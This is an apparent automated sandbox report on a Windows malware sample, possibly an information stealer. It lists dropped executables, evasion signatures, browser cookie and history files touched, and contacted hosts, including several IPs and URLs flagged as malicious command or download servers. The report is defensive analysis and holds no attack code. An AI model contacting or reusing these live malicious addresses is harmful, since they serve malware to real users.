C:\Users\user\AppData\RoamingJDHCBAEHJJ.exe, PE32 21->68 dropped 70 C:\Users\user\AppData\RoamingDBFHCGCGDA.exe, PE32 21->70 dropped 72 C:\Users\user\AppData\Local\...\enter[1].exe, PE32 21->72 dropped 80 13 other files (9 malicious) 21->80 dropped 136 Multi AV Scanner detection for dropped file 21->136 138 Detected unpacking (changes PE section rights) 21->138 140 Detected unpacking (overwrites its own PE header) 21->140 150 8 other signatures 21->150 142 Machine Learning detection for dropped file 26->142 38 cmd.exe 1 26->38         started        144 Tries to detect sandboxes and other dynamic analysis tools (window names) 28->144 146 Tries to evade debugger and weak emulator (self modifying code) 28->146 148 Hides threads from debuggers 28->148 152 2 other signatures 28->152 114 10 other IPs or domains 30->114 74 C:\Users\user\AppData\...\places.sqlite-wal, SQLite 30->74 dropped 76 C:\Users\user\AppData\...\places.sqlite-shm, data 30->76 dropped 78 C:\Users\user\AppData\...\cookies.sqlite-wal, SQLite 30->78 dropped 40 firefox.exe 30->40         started        42 firefox.exe 30->42         started        108 www.youtube.com 32->108 110 bzib.nelreports.net 32->110 116 6 other IPs or domains 32->116 112 www.youtube.com 34->112 118 10 other IPs or domains 34->118 44 conhost.exe 36->44         started        46 chrome.exe 36->46         started        48 msedge.exe 36->48         started        50 firefox.exe 36->50         started        file10 signatures11 process12 process13 52 chrome.exe 38->52         started        55 msedge.exe 11 38->55         started        57 conhost.exe 38->57         started        59 firefox.exe 38->59         started        dnsIp14 102 192.168.2.7, 443, 49698, 49699 unknown unknown 52->102 104 239.255.255.250 unknown Reserved 52->104 61 chrome.exe 52->61         started        64 chrome.exe 52->64         started        66 msedge.exe 55->66         started        process15 dnsIp16 124 www.youtube.com 61->124 126 youtube-ui.l.google.com 142.250.74.206, 443, 49715 GOOGLEUS United States 61->126
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
142.251.35.161
 unknown United States
15169 GOOGLEUS false
216.58.212.142
 unknown United States
15169 GOOGLEUS false
142.250.74.206
 youtube-ui.l.google.com United States
15169 GOOGLEUS false
85.28.47.31
 unknown Russian Federation
31643 GES-ASRU true
152.195.19.97
 unknown United States
15133 EDGECASTUS false
142.250.176.206
 unknown United States
15169 GOOGLEUS false
162.159.61.3
 unknown United States
13335 CLOUDFLARENETUS false
34.117.188.166
 contile.services.mozilla.com United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
142.250.65.238
 unknown United States
15169 GOOGLEUS false
142.250.80.3
 unknown United States
15169 GOOGLEUS false
142.250.185.163
 pki-goog.l.google.com United States
15169 GOOGLEUS false
172.64.41.3
 chrome.cloudflare-dns.com United States
13335 CLOUDFLARENETUS false
13.107.21.237
 unknown United States
8068 MICROSOFT-CORP-MSN-AS-BLOCKUS false
94.245.104.56
 ssl.bingadsedgeextension-prod-europe.azurewebsites.net United Kingdom
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
185.215.113.19
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
34.149.100.209
 prod.remote-settings.prod.webservices.mozgcp.net United States
2686 ATGS-MMD-ASUS false
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
34.107.221.82
 prod.detectportal.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
142.250.81.228
 unknown United States
15169 GOOGLEUS false
216.58.206.46
 unknown United States
15169 GOOGLEUS false
35.244.181.201
 prod.balrog.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
13.32.99.17
 mitmdetection.services.mozilla.com United States
16509 AMAZON-02US false
239.255.255.250
 unknown Reserved
unknown unknown false
142.250.186.142
 unknown United States
15169 GOOGLEUS false
35.190.72.216
 prod.classify-client.prod.webservices.mozgcp.net United States
15169 GOOGLEUS false
34.160.144.191
 prod.content-signature-chains.prod.webservices.mozgcp.net United States
2686 ATGS-MMD-ASUS false
172.217.165.142
 unknown United States
15169 GOOGLEUS false

Private

IP
192.168.2.7
127.0.0.1

Contacted Domains

Name IP Active
example.org 93.184.215.14 true
chrome.cloudflare-dns.com 172.64.41.3 true
prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 true
prod.balrog.prod.cloudops.mozgcp.net 35.244.181.201 true
prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 true
raw.githubusercontent.com 185.199.109.133 true
restores.name 65.0.21.192 true
ssl.bingadsedgeextension-prod-europe.azurewebsites.net 94.245.104.56 true
prod.remote-settings.prod.webservices.mozgcp.net 34.149.100.209 true
mitmdetection.services.mozilla.com 13.32.99.17 true
pki-goog.l.google.com 142.250.185.163 true
sni1gl.wpc.nucdn.net 152.199.21.175 true
contile.services.mozilla.com 34.117.188.166 true
prod.content-signature-chains.prod.webservices.mozgcp.net 34.160.144.191 true
youtube-ui.l.google.com 142.250.74.206 true
ipv4only.arpa 192.0.0.170 true
prod.ads.prod.webservices.mozgcp.net 34.117.188.166 true
ip-api.com 208.95.112.1 true
coe.com.vn 103.28.36.182 true
spocs.getpocket.com unknown unknown
content-signature-2.cdn.mozilla.net unknown unknown
firefox.settings.services.mozilla.com unknown unknown
push.services.mozilla.com unknown unknown
www.youtube.com unknown unknown
detectportal.firefox.com unknown unknown
bzib.nelreports.net unknown unknown
o.pki.goog unknown unknown
shavar.services.mozilla.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://85.28.47.31/8405906461a5200c/vcruntime140.dll true
  • Avira URL Cloud: malware
 unknown
http://185.215.113.19/Vi9leo/index.php true
  • Avira URL Cloud: malware
 unknown
http://85.28.47.70/ false
  • Avira URL Cloud: malware
 unknown
http://85.28.47.31/8405906461a5200c/softokn3.dll true
  • Avira URL Cloud: malware
 unknown
http://85.28.47.31/8405906461a5200c/nss3.dll true
  • Avira URL Cloud: malware
 unknown
https://www.google.com/favicon.ico false
  • Avira URL Cloud: safe
 unknown
http://ip-api.com/json false
  • URL Reputation: safe
 unknown
http://85.28.47.70/c10a74a0c2f42c12/sqlite3.dll false
  • Avira URL Cloud: malware
 unknown